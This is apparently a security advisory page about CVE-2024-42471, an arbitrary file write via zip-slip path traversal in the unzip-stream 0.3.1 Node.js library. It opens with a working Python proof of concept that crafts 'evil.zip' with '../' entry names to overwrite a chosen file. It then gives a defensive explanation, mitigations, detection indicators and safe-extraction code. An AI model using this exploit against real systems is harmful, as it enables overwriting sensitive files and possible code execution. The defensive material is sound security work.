unzip-stream 0.3.1 - Arbitrary File Write

Exploit Author: cybersploit Analysis Author: www.bubbleslearn.ir Category: Local Language: JavaScript Published Date: 2025-04-30
# Exploit Title: unzip-stream 0.3.1 - Arbitrary File Write
# Date: 18th April, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/mhr3/unzip-stream
# Version: unzip-stream 0.3.1
# Tested on: Ubuntu
# CVE: CVE-2024-42471



# NB: Python's built-in `zipfile` module has limitations on the `arcname` parameter. 
# To bypass this restriction, edit the module's source code (`zipfile.py`) and comment out the following line:
# arcname = os.path.normpath(os.path.splitdrive(arcname)[1])
# For a more detailed explanation, feel free to check out my blog post here: https://themcsam.github.io/posts/unzip-stream-PoC/


import zipfile
import os
import sys

file_path = './poc' # Change to the file which contains the data to write
zip_name = 'evil.zip'
path_to_overwrite_file = 'home/mcsam/pocc' # Change to target file to write/overwrite

if not os.path.isfile(file_path):
    print(f"Error: File '{file_path}' does not exist.")
    sys.exit()

with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipf.write(file_path, \
    arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}')
    print(f"File '{file_path}' has been zipped as '{zip_name}'.")


unzip-stream 0.3.1 — Arbitrary File Write (CVE-2024-42471)

This article explains the vulnerability tracked as CVE-2024-42471 in unzip-stream 0.3.1, the underlying root cause (path traversal / "zip slip"), the real-world impact, indicators of compromise, and robust, secure mitigation and detection strategies. Practical, defensive code examples show how to safely extract ZIP archives in Node.js and Python without enabling arbitrary file writes.

Summary

  • Affected component: unzip-stream (Node.js library), version 0.3.1
  • Vulnerability: arbitrary file write via crafted ZIP entry names (path traversal)
  • CVE: CVE-2024-42471
  • Impact: an attacker who can supply a ZIP archive to an application that extracts it with an affected library may overwrite files outside the intended extraction directory (including sensitive system or application files)

What went wrong (high-level)

The root cause is insufficient validation of ZIP entry filenames before extraction. A ZIP entry that contains absolute paths or path traversal sequences (e.g., ../) can result in files being written outside the intended directory when the archive is extracted. This class of vulnerability is commonly referred to as "zip slip". Libraries that do not normalize and sanitize entry names before creating target paths are susceptible.

Why this is dangerous

  • Overwriting configuration, binaries, or other sensitive files can lead to remote code execution, privilege escalation, denial of service, or data corruption.
  • An attacker who can deliver malicious archives (file upload, user-supplied content, automated ingestion) can exploit this without having native code execution on the system.

Indicators and detection

  • Unexpected modification timestamps or ownership changes on files that should not be touched when processing ZIPs.
  • Files outside the application’s expected extraction directory appearing after archive processing.
  • Logs showing extraction paths containing "../" or absolute path prefixes.
  • File integrity monitoring alerts for overwrites of critical files after ingestion of archives.
SeverityVectorCWE
HighFile upload / archive ingestionCWE-22 (Path Traversal)

Recommended mitigations

  • Upgrade to a patched version of the library as soon as one is available. If an official patch exists, prefer upgrading rather than custom workarounds.
  • Validate and normalize entry names before extraction: remove absolute prefixes, collapse path traversal sequences, and ensure the resolved extraction path is contained within the intended output directory.
  • Apply least privilege: perform extraction under a dedicated low-privilege account and limit filesystem permissions of the extraction target.
  • Monitor for unexpected file writes and use file integrity monitoring for sensitive files.
  • Implement file type and size limits on uploaded archives; disallow archives from untrusted sources where possible.

Safe extraction — Node.js example

const fs = require('fs');
const path = require('path');
const unzipper = require('unzipper'); // or any zip-stream consumer

async function safeExtractZip(stream, destDir) {
  const dest = path.resolve(destDir);
  await fs.promises.mkdir(dest, { recursive: true });

  return new Promise((resolve, reject) => {
    stream
      .pipe(unzipper.Parse())
      .on('entry', async (entry) => {
        try {
          // Normalize and sanitize entry.path
          const normalized = path.normalize(entry.path).replace(/^(\.\.(\/|\\|$))+/, '');
          // Prevent absolute paths by trimming leading separators
          const sanitized = normalized.replace(/^([/\\])+/, '');

          const destPath = path.resolve(dest, sanitized);

          // Ensure result is within destination directory
          if (!destPath.startsWith(dest + path.sep) && destPath !== dest) {
            entry.autodrain();
            return;
          }

          if (entry.type === 'Directory') {
            await fs.promises.mkdir(destPath, { recursive: true });
            entry.autodrain();
            return;
          }

          await fs.promises.mkdir(path.dirname(destPath), { recursive: true });
          entry.pipe(fs.createWriteStream(destPath));
        } catch (err) {
          entry.autodrain();
          reject(err);
        }
      })
      .on('close', resolve)
      .on('error', reject);
  });
}

Explanation:

  • The code resolves the intended destination directory (dest).
  • For each ZIP entry, it normalizes the entry name (collapsing ../ and redundant separators), removes any leading separators, and constructs an absolute path inside the destination directory.
  • It verifies the computed destination path is still within the intended directory (using path.resolve and startsWith). If not, the entry is ignored/drained rather than extracted.
  • Directories are created as needed; files are streamed into safe target paths.

Safe extraction — Python example

import os
import zipfile

def safe_extract_zip(zip_path, dest_dir):
    dest_dir = os.path.abspath(dest_dir)
    os.makedirs(dest_dir, exist_ok=True)

    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.infolist():
            # Prevent absolute paths and path traversal
            member_name = member.filename
            if os.path.isabs(member_name):
                # skip absolute paths
                continue

            normalized = os.path.normpath(member_name)
            # Skip entries that resolve outside the destination directory
            target_path = os.path.abspath(os.path.join(dest_dir, normalized))
            if not target_path.startswith(dest_dir + os.sep) and target_path != dest_dir:
                continue

            if member.is_dir():
                os.makedirs(target_path, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target_path), exist_ok=True)
                with zf.open(member, 'r') as source, open(target_path, 'wb') as target:
                    target.write(source.read())

Explanation:

  • Resolve the destination directory to an absolute canonical path.
  • For each ZIP member, skip absolute paths outright and normalize relative names to collapse traversal markers.
  • Construct an absolute target path and ensure it starts with the destination directory. If it does not, skip the entry.
  • Then safely create directories and write file contents.

Secure development checklist for archive handling

  • Always normalize and validate entry names before creating or writing files.
  • Reject or sanitize absolute paths and entries with path traversal sequences.
  • Use safe extraction libraries or patterns that enforce target containment checks.
  • Run archive processing in a sandboxed, low-privilege environment and limit available filesystem scope (chroot, containers, or dedicated directories with restricted permissions).
  • Add unit and fuzz tests that include malicious archive names and symbolic links to ensure robustness.
  • Log rejected entries and alert on suspicious archive structures.

Response and remediation workflow

  • Inventory: find every service or pipeline that uses affected unzip-stream versions to process user-supplied archives.
  • Patch: apply vendor-provided updates or implement the containment checks shown above in each affected code path.
  • Verify: run regression tests, static analysis, and safe-extraction tests to confirm fixes.
  • Monitor: implement detection for unexpected file modifications and review logs for blocked archive entries.
  • Notify: if you detect exploitation, follow your incident response procedures and consider notifying impacted stakeholders.

Responsible disclosure and further reading

When you discover vulnerability in third-party libraries, follow responsible disclosure practices: privately notify the maintainers, allow time for a patch, and coordinate a public advisory once fixes are available. For in-depth reading on path traversal and safe archive extraction, search for "zip slip" mitigation patterns and CWE-22 guidance.

Conclusion

CVE-2024-42471 highlights the importance of treating archive metadata as untrusted input. Applying canonicalization, containment checks, least privilege, and thorough testing prevents attackers from abusing ZIP archives to write arbitrary files. Wherever possible, upgrade to a fixed library release; otherwise, apply the safe extraction patterns presented here to mitigate the risk.